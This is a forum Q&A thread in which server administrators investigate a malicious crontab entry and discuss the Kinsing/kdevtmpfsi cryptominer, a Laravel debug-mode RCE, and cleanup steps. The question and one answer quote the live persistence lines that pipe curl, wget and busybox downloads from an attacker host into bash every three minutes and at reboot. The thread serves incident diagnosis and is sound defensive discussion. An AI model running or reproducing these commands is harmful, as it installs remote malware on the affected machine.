1

I found that in the company server there is a crontab that runs with this code:

*/3 * * * * curl -sk "http://repo1.criticalnumeric.tech/kworker?time=1612899272" | bash;wget "http://repo1.criticalnumeric.tech/kworker?time=1612899272" -q -o /dev/null -O - | bash;busybox wget "http://repo1.criticalnumeric.tech/kworker?time=1612899272" -q -O - | bash

If you go to that URL it reads:

"This is official page of repository linux"

This is weird, none of our engineers added this on the crontab, which makes me think that it could be an attack.

Any thoughts?

Benjamin W.
  • 46,058
  • 19
  • 106
  • 116
umeixueiro
  • 21
  • 4
  • Looks super fishy for sure. It tries, via 3 different methods, to download something and run it as a bash script, every three minutes. – Benjamin W. Feb 09 '21 at 20:10

5 Answers5

1

If your server is hosting a web application built using Laravel framework and if your debug mode is turned on, you are probably suffering from a recent RCE (Remote Code Execution) exploit.

Blogpost about technical details of the bug: https://www.ambionics.io/blog/laravel-debug-rce

CVE: https://nvd.nist.gov/vuln/detail/CVE-2021-3129

My professional recommendation: Never run your application with debug mode open on production.

Onur Güzel
  • 151
  • 2
  • 4
1

The kinsing malware is the responsible for this attack, this takes control over the crontab to maintain infected the server, I had experience with this attack and for me the only way to clean the server is to backup all the important data and reinstall from cero, I followed all the recipes and nothing work to stop it, the most important with this attack is to change the permission on the cron tab file avoiding the malware to overwrite it.

Another important thing is to see the permissions of the .ssh on the infected user, because this prevents to login using the ssh keys, you must restore the permissions to the original state to grant access again.

Search for the kdevtmpfsi executable that is somewhere in the /var/tmp, delete it and create a dummy file with the same name with all the permissions to 000, this action is not the cure but serve to gain time to backup.

umeixueiro
  • 21
  • 4
0

I think that it is related to the issue on the link below. I saw similar entries appear on the result of a ps aux command on one of our servers. If you are unlucky, you will find kdevtmpfsi is now hogging all of your CPU.

kdevtmpfsi - how to find and delete that miner

Jerome O'Mahony
  • 167
  • 1
  • 5
0

We had same attack sat Feb 13, I changed the permisions to the crontab directory only rwx to root. Before we killed all the process of www-data with "killall -u www-data -9 " so far no other instance of the offending process... will keep monitoring. Also we disabled curl because we don't needed it.

JwMendoza
  • 1
0

I'm having same problem. Debian 10 server.

I checked with htop and found these:

curl -kL http://repo1.criticalnumeric.tech/scripts/cnc/install?time=1613422342

and

bash /tmp/.ssh-www-data/kswapd4

Both under www-data user. Those processes were using whole resources (CPU and memory).

Found something strange in www-data cron

root@***:/var/www# cat /var/spool/cron/crontabs/www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/tmp.eK8YZtGlIC/.sync.log installed on Mon Feb 15 23:27:41 2021)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
*/3 * * * * curl -sk "http://repo1.criticalnumeric.tech/init?time=1613424461" | bash && wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -o /dev/null -O - | bash && busybox wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -O - | bash
@reboot curl -sk "http://repo1.criticalnumeric.tech/init?time=1613424461" | bash && wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -o /dev/null -O - | bash && busybox wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -O - | bash

https://pastebin.com/Q049ZZtW

I think I have to reinstall Debian 10 on my server... Or how to clean it?

Typhome
  • 35
  • 7